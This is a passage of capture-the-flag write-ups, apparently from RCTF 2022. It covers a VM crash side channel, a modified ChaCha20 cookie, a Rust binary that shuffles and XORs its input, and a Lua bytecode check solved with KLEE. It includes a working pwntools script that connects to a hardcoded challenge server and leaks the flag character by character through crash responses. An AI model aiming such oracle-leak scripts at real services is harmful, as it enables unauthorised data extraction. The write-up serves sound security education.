, which is some sort of key, plus the opcode 2 (add a new program) and the code type (2 which is executed in the inner vm). Next we send four bytes - the length of the program, then the program itself, which just is 01xx00yy03010000030305
where xx is the index of the flag we want to load and yy is the constant we want to test. Finally we just have to run the program, which we can do with opcode 1 and the program index after 2 bytes. We can have 16 programs, and if we don't crash we can choose the next one immediatly which sped up things incredibly.
for flag_idx in range(len(flag), 60):
i = 0
found_char = False
while i < len(chars) and not found_char:
#r = process("./rdefender")
r = remote("94.74.84.207",7892)
for prog_idx in range(16):
if i >= len(chars):
break
payload = b""
payload += bytes.fromhex("01")+p8(flag_idx) # push data[flag_idx]
payload += bytes.fromhex("00")+p8(chars[i]) # push i
payload += bytes.fromhex("0301") # sub
payload += bytes.fromhex("00")+p8(0) # 0
payload += bytes.fromhex("0303") # div
payload += bytes.fromhex("05") # exit
# create normal program
r.send(p64(0x5BF3899C66D10202))
# send data...
r.send(p32(len(payload)))
r.send(payload)
r.recvn(8)
# run program idx 0 with data idx 0
r.send(p64(0x000001 | (prog_idx << 16)))
x = r.recvn(8,timeout=.9)
print(chr(chars[i]),"=>",x)
if b"thread" in x: # error starts with "thread..."
flag += chr(chars[i])
print("Found char: ", flag)
found_char = True
break
i += 1
r.close()
So we just have to choose chars correctly and set a flag to the known prefix string and just wait until we get the closing bracket.
RCTF{7919f5f8286dd645da24b2045abb85fc}
Oh, yet another statically compiled, stripped binary.
We want to pass the auth check, by sending authcookie=...
in the body of a http request. Following the code a bit we see that there's a bunch of invalid instructions which when patched out give us a function which loads a few constants:
iv = b"be1dfd2dc3388169"
key = b"797bd1717fd5dd64fcd1f98922b1e0d3"
data = bytes.fromhex("e6f7749f05ab1a50bf28b6e6a49e7f0d22ac7660fda6905e91b476a38d438835f4e0376a")
Then puts them into a ChaCha20-looking function, however the constants were changed and as such the initial state actually looks like this:
ctx = [0x64316562, 0x64326466, 0x38333363, 0x39363138, 0x14131211, 0x18171615, 0x1c1b1a19, 0x201f1e1d, 0x24232221, 0x28272625, 0x2c2b2a29, 0x302f2e2d, 0x00000000, 0x00000000, 0x00000000, 0x00000000]
Then decrypting the data will give us flag{1b90d90564a58e667319451d1cb6ef}
RTTT is a stripped Linux rust binary that takes some input.
Since this is a stripped rust binary a large part of this task was just making educated guesses what the binary is doing and what the function do.
My understanding is that the program takes in a string, then generates a list of deterministic random values using the PCG algorithm (at 0xef38
).
It then sorts the position of the input string based on the random values at the same index (at 0xf1af
).
Then two vectors are created and xored with each other to the binary string b'Welc0me to RCTF 2O22'
(at 0xf6a5
).
This xored vector together with the resorted input string go into the function at address 0xe310
which does some calculations but ultimately xors the shuffled input with some value calculated from the xored vector at 0xebc3
.
The output of this encryption operation is then compared against another vector at address 0xf9a8
.
If they match then another two vectors are xored resulting in b'Congratulations'
(and it being printed to stdout), otherwise the program just exits.
From this the steps to solve it become apparent (not necessary in this order):
This is relatively simple because in the binary it's just sequentially byte writes to the memory address:
vecThree = [0x34, 0xc2, 0x65, 0x2d, 0xda, 0xc6, 0xb1, 0xad, 0x47, 0xba, 6, 0xa9, 0x3b, 0xc1, 0xcc, 0xd7, 0xf1, 0x29, 0x24, 0x39, 0x2a, 0xc0, 0x15, 2, 0x7e, 0x10, 0x66, 0x7b, 0x5e, 0xea, 0x5e, 0xd0, 0x59, 0x46, 0xe1, 0xd6, 0x6e, 0x5e, 0xb2, 0x46, 0x6b, 0x31]
The length of this is 42 so that is likely the wanted inputs length as well.
For this a breakpoint at 0xebc3
and just writing down the cl
value for each index is enough (also verifying that the bytes are always the same independent of input can be seen here).
xorKey = [0x77, 0xF5, 0x21, 0x69, 0xE3, 0xF7, 0x87, 0x98, 0x6A, 0xE8, 0x2B, 0x9E, 0x9, 0xEC, 0xE1, 0xAA, 0xC2, 0x1A, 0x16, 0x7d, 0x6F, 0xf0, 0x56, 0x40, 0x3b, 0x56, 0x5f, 0x38, 0x25, 0xDB, 0x69, 0xE7, 0x6F, 0x12, 0xD6, 0x92, 0x28, 0x6d, 0xf6, 0x05, 0x2e, 0x77]
Statically this could be derived from how the random values are calculated and the insertion into the tree works, dynamically we can just set a breakpoint at a point where the resorted array is visible (e.g. at the point where it is encrypted at 0xebc3
).
Then we just run the program 42 times with "A"*(i) + "B" + "A"*(42-i-1)
and see where the B
is sorted to:
BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ("AAAAAAAAAB", 'A' <repeats 32 times>, "\001")
ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 27 times>, "B", 'A' <repeats 14 times>, "\001")
AABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 33 times>, "BAAAAAAAA\001")
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 25 times>, "B", 'A' <repeats 16 times>, "\001")
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 28 times>, "B", 'A' <repeats 13 times>, "\001")
AAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 21 times>, "B", 'A' <repeats 20 times>, "\001")
AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 37 times>, "BAAAA\001")
AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 22 times>, "B", 'A' <repeats 19 times>, "\001")
AAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 16 times>, "B", 'A' <repeats 25 times>, "\001")
AAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 24 times>, "B", 'A' <repeats 17 times>, "\001")
AAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ("AAAAB", 'A' <repeats 37 times>, "\001")
AAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 23 times>, "B", 'A' <repeats 18 times>, "\001")
AAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 18 times>, "B", 'A' <repeats 23 times>, "\001")
AAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 13 times>, "B", 'A' <repeats 28 times>, "\001")
AAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 40 times>, "BA\001")
AAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 17 times>, "B", 'A' <repeats 24 times>, "\001")
AAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 30 times>, "B", 'A' <repeats 11 times>, "\001")
AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 41 times>, "B\001")
AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 14 times>, "B", 'A' <repeats 27 times>, "\001")
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 12 times>, "B", 'A' <repeats 29 times>, "\001")
AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 36 times>, "BAAAAA\001")
AAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA ('A' <repeats 38 times>, "BAAA\001")
AAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAA ("AAAAAAB", 'A' <repeats 35 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAA ("AAAAAAAAB", 'A' <repeats 33 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAA ("B", 'A' <repeats 41 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA ("AAB", 'A' <repeats 39 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAA ('A' <repeats 11 times>, "B", 'A' <repeats 30 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAA ('A' <repeats 20 times>, "B", 'A' <repeats 21 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAA ("AAAAAAAAAAB", 'A' <repeats 31 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAA ("AAAAAAAB", 'A' <repeats 34 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAA ('A' <repeats 34 times>, "BAAAAAAA\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAA ('A' <repeats 39 times>, "BAA\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAA ('A' <repeats 26 times>, "B", 'A' <repeats 15 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAA ("AAAAAB", 'A' <repeats 36 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAA ('A' <repeats 19 times>, "B", 'A' <repeats 22 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAA ("AB", 'A' <repeats 40 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA ('A' <repeats 31 times>, "BAAAAAAAAAA\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA ("AAAB", 'A' <repeats 38 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAA ('A' <repeats 35 times>, "BAAAAAA\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAA ('A' <repeats 32 times>, "BAAAAAAAAA\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABA ('A' <repeats 29 times>, "B", 'A' <repeats 12 times>, "\001")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB ('A' <repeats 15 times>, "B", 'A' <repeats 26 times>, "\001")
This gives use the shuffle table:
shuffleTable = {0: 9, 1: 27, 2: 33, 3: 25, 4: 28, 5: 21, 6: 37, 7: 22, 8: 16, 9: 24, 10: 4, 11: 23, 12: 18, 13: 13, 14: 40, 15: 17, 16: 30, 17: 41, 18: 14, 19: 12, 20: 36, 21: 38, 22: 6, 23: 8, 24: 0, 25: 2, 26: 11, 27: 20, 28: 10, 29: 7, 30: 34, 31: 39, 32: 26, 33: 5, 34: 19, 35: 1, 36: 31, 37: 3, 38: 35, 39: 32, 40: 29, 41: 15}
and with this we can calculate the flag:
>>> array = bytes([xorKey[i]^vecThree[i] for i in range(42)])
>>> bytes([array[shuffleTable[i]] for i in range(42)])
b'RCTF{03C3E9B2-E37F-2FD6-CD7E-57C91D77DD61}'
picStore is a binary containing a lua runtime with symbols and a compiled lua thunk.
Running strings on the binary shows that it is based on Lua 5.3, but when we look at the Lua bytecode file we can see that the signature does not match (first bytes are "1B 4C 75 61 AC" instead of the expected "1B 4C 75 61 53").
Comparing the compared file against normal Lua 5.3 quite a few similarities can be found but also a lot of values seem to be completely wrong.
Looking at them a bit it is noticeable that they are in fact the bit inverted of what is expected. Not all bytes are inverted though, so reversing the picStore binary to see the difference is necessary.
By following how the version byte is read in the normal Lua 5.3 source code we arrive at the LoadByte
function in lundump.c
(which in the binary does not have a symbol):
Indeed most bytes are inverted (which is not what the normal implementation does)!
This inverting is done for LoadByte
, LoadInt
, LoadNumber
and LoadInteger
:
static lu_byte LoadByte (LoadState *S) {
lu_byte x;
LoadVar(S, x);
lu_byte x2 = x;
if(((x-1)&0xff) <= 0xFD) {
x2 = ~x;
}
return x2;
}
static int LoadInt (LoadState *S) {
int x;
LoadVar(S, x);
lu_byte* v1 = &x;
for(int i=0;i<sizeof(x);i++) {
if(((*v1-1)&0xff) <= 0xFD) {
*v1 = ~*v1;
}
v1++;
}
return x;
}
static lua_Number LoadNumber (LoadState *S) {
lua_Number x;
LoadVar(S, x);
lu_byte* v1 = &x;
for(int i=0;i<sizeof(x);i++) {
if(((*v1-1)&0xff) <= 0xFD) {
*v1 = ~*v1;
}
v1++;
}
return x;
}
static lua_Integer LoadInteger (LoadState *S) {
lua_Integer x;
LoadVar(S, x);
lu_byte* v1 = &x;
for(int i=0;i<sizeof(x);i++) {
if(((*v1-1)&0xff) <= 0xFD) {
*v1 = ~*v1;
}
v1++;
}
return x;
}
With these patches to stock Lua 5.3 we can actually load the program and run it (though it will complain that some native functions are missing and not actually run).
Using luac -l
we can now get a decent disassembly of the code.
Personally I think luac's disassembly is still quite unreadable so I built luadec with the customized lua-5.3 and used that instead (sadly the decompilation seems to fail for the code).
; Function: 0_10
; Defined at line: 172
; #Upvalues: 1
; #Parameters: 1
; Is_vararg: 0
; Max Stack Size: 54
0 [-]: GETTABUP R1 U0 K0 ; R1 := U0["value_list"]
1 [-]: MOVE R2 R0 ; R2 := R0
2 [-]: CALL R1 2 2 ; R1 := R1(R2)
3 [-]: NEWTABLE R2 0 0 ; R2 := {} (size = 0,0)
4 [-]: NEWTABLE R3 48 0 ; R3 := {} (size = 48,0)
5 [-]: LOADK R4 K1 ; R4 := 105
...
265 [-]: LOADK R9 K256 ; R9 := 193
266 [-]: SETLIST R3 6 6 ; R3[250] to R3[255] := R4 to R9 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=3, b=6, c=6, FPF=50
267 [-]: LOADK R4 K73 ; R4 := 1
268 [-]: LEN R5 R1 ; R5 := #R1
269 [-]: LOADK R6 K73 ; R6 := 1
270 [-]: FORPREP R4 21 ; R4 -= R6; pc += 21 (goto 292)
271 [-]: LOADK R8 K257 ; R8 := "xor"
272 [-]: GETTABUP R8 U0 R8 ; R8 := U0[R8]
273 [-]: GETTABLE R9 R1 R7 ; R9 := R1[R7]
274 [-]: SUB R10 R7 K73 ; R10 := R7 - 1
275 [-]: CALL R8 3 2 ; R8 := R8(R9 to R10)
276 [-]: SETTABLE R1 R7 R8 ; R1[R7] := R8
277 [-]: LOADK R8 K257 ; R8 := "xor"
278 [-]: GETTABUP R8 U0 R8 ; R8 := U0[R8]
279 [-]: GETTABLE R9 R1 R7 ; R9 := R1[R7]
280 [-]: LOADK R10 K128 ; R10 := 255
281 [-]: CALL R8 3 2 ; R8 := R8(R9 to R10)
282 [-]: SETTABLE R1 R7 R8 ; R1[R7] := R8
283 [-]: GETTABLE R8 R1 R7 ; R8 := R1[R7]
284 [-]: BAND R8 R8 K128 ; R8 := R8 & 255
285 [-]: SETTABLE R1 R7 R8 ; R1[R7] := R8
286 [-]: LEN R8 R2 ; R8 := #R2
287 [-]: ADD R8 R8 K73 ; R8 := R8 + 1
288 [-]: GETTABLE R9 R1 R7 ; R9 := R1[R7]
289 [-]: ADD R9 R9 K73 ; R9 := R9 + 1
290 [-]: GETTABLE R9 R3 R9 ; R9 := R3[R9]
291 [-]: SETTABLE R2 R8 R9 ; R2[R8] := R9
292 [-]: FORLOOP R4 -22 ; R4 += R6; if R4 <= R5 then R7 := R4; PC += -22 , goto 271 end
293 [-]: LOADK R4 K258 ; R4 := "a_AHy3JniQH4"
294 [-]: GETTABUP R4 U0 R4 ; R4 := U0[R4]
295 [-]: MOVE R5 R2 ; R5 := R2
296 [-]: CALL R4 2 2 ; R4 := R4(R5)
297 [-]: EQ 0 R4 K73 ; if R4 == 1 then goto 299 else goto 302
298 [-]: JMP R0 3 ; PC += 3 (goto 302)
299 [-]: LOADBOOL R4 1 0 ; R4 := true
300 [-]: RETURN R4 2 ; return R4
301 [-]: JMP R0 2 ; PC += 2 (goto 304)
302 [-]: LOADBOOL R4 0 0 ; R4 := false
303 [-]: RETURN R4 2 ; return R4
304 [-]: RETURN R0 1 ; return
The most interesting function is the function 0_10
used as check_func
(See disassembly.txt for the full disassembly.)
The function gets a value list from the program, then builds a 256 byte list, and in a loop encrypts the value list.
The output of this encryption is then run through the function with the name a_AHy3JniQH4
and if it outputs 1 will return true or else false.
If the output is true the program will output "now, you know the flag~"
otherwise "you fail!"
.
The main
function of the picStore binary registers quite a few native functions, the a_AHy3JniQH4
function corresponds to the native check_result_23_impl
function, which contains some lua to C logic which then gives the array to the chk_23
function.
The chk_23
function in the end is heavily obfuscated and impossible to just read.
Trying to angr or directly symbolically solve the decompiled output didn't yield anything in a reasonable time and after checking it made sense why:
v1 = a1[0];
v2 = a1[1];
v3 = a1[2];
v4 = a1[3];
v5 = a1[4];
v6 = a1[5];
v7 = a1[6];
v8 = a1[7];
v10 = abs32(-236927 * v4+ 160169 * v5 + 41685 * v1 + -212842 * v7 + -189738 * v2 + 154401 * v3 - 230228 * v8 + 128214 * v6+ 30252865)
+ abs32(-34520 * v7 + 162797 * v5 + 6659 * v6 + -271188 * v3 + -174919 * v1 + 275012 * v4 - 76091 * v2 - 58044891)
+ abs32(-133824 * v5 + 264084 * v1 + 228954 * v3 + 255695 * v2 + 28625 * v6 - 26349 * v4 - 17179897)
+ abs32(157792 * v3 + -154611 * v4 + 144762 * v5 + 279204 * v2 + 63409 * v1 - 4498569)
+ abs32(159298 * v4 + -260026 * v2 - 49856 * v3 + 138310 * v1 - 54756696)
+ abs32(-147558 * v1 + 270817 * v3 - 85118 * v2 + 10280335)
+ abs32(87702 * v1 - 12015174)
+ abs32(273078 * v2 - 214016 * v1 + 29047114);
The function and other chk
functions essentially do a sequence of operations like this (this is from chk_29).
The abs32
is derived from the pattern of y = x >> 31; (x^y)-y
which is equal to abs32
.
The first problem here is that is not obvious what value these formulas are calculating as the output is determined if the last two values calculated this way are equal.
The second problem is if you sequentially try to solve for this then the "first" equation has 8 unknown variables, the second 7, etc.
If we try to solve it without any further assumptions then this will never finish for all 30 bytes the function uses in the calculations.
One interesting thing though is that if we look at the smallest first term abs32(87702 * v1 - 12015174)
which only has one unknown, and then try all possible byte values we can see that there is a solution where the output is 0 (for v1 == 137
).
If we repeat this by ordering the terms by the amount of unknowns they contain and thus solve one new unknown each time we can see there is always one byte value for which the output is 0.
So if we assume we want all inputs to the absolute calculation to be 0 (and thus the sum of them also to be zero) we can calculate the result in a way more constrained way as we can solve each block that uses new input in order and do not have to solve for all 30 unknown bytes at the same time.
If we take it as is we still have the problem that a solver would try to first solve for the term with 8 unknowns first and then constrain it more by the following terms.
This is very inefficient and may not reasonable terminate either, so we also need to sort all these additions in order of the amount of unknown variables (like we did before when calculating for the 0 points manually).
Cleaning this up and then testing it with KLEE with the following configurations for running and abs32 (see kleeMe.c
for the full file):
int main() {
unsigned char input[30];
klee_make_symbolic(input, 30, "input");
int res = chk_23(input);
return res;
}
int abs32(int x) {
klee_assume(x == 0);
return 0;
}
Solves for the following bytes:
ktest file : './klee-out-1/test000001.ktest'
args : ['kleeMe.bc']
num objects: 1
object 0: name: 'input'
object 0: size: 30
object 0: data: b'!\x92\xd0\xcf34\xe6\xbe\xc7\xd3n3\xcf\xbe.3O\xb7Ig*g\xc5S\xdd\x1d\xd1\xf0\xc2\x1a'
object 0: hex : 0x2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a
object 0: text: !...34....n3...3O.Ig*g.S......
Now looking back at the Lua Bytecode the encryption operation is equal to
def encrypt(inputValues):
output = []
for i in range(30):
a = inputValues[i]^((i-1)&0xff)
b = a^0xff
output.append(byteTable[b])
So if we reverse these operations for valid input we get:
byteTable = "69f43f0a18a9f86b818a19b660b00e5938e5ce13171516c6b3a798421cc9d550a29766245b253211aa29035455e283264720128e462770dc10db9fde0b7763cb2f94b9375d30997101ed234b439ba14a6c4cb5e9ba2c7de858085fa3c8f978f3aed4fcea3a65e4566d90687975570f840c14a573888776454402527bfafb35ff33ddd3c3918cfe00742b1dd9c5b7a8bc22da92936295f6b4672128cfd0c08f1a9ae1648daf7ce63eb1cd6ecafdad2e3472a4a6899e7a0d53b285bdbb07b84df5d8bec2489dacabc7a02d311bcc51065c3bd1ef82613dd6d7495a7e2a1ef04fe04edf6f3c0405c4e76a408beb96e3eebf7f1f9c36f1f286f780415e39d2ec09c1"
validInput = "2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a"
byteTable = bytes.fromhex(byteTable)
validInput = bytes.fromhex(validInput)
invertedByteTable = {}
for i in range(0x100):
invertedByteTable[byteTable[i]] = i
flag = ""
for i in range(30):
v = invertedByteTable[validInput[i]]
flag += (chr((v^0xff)^i))
print(flag)
>>> flag{U_90t_th3_p1c5t0re_fl49!}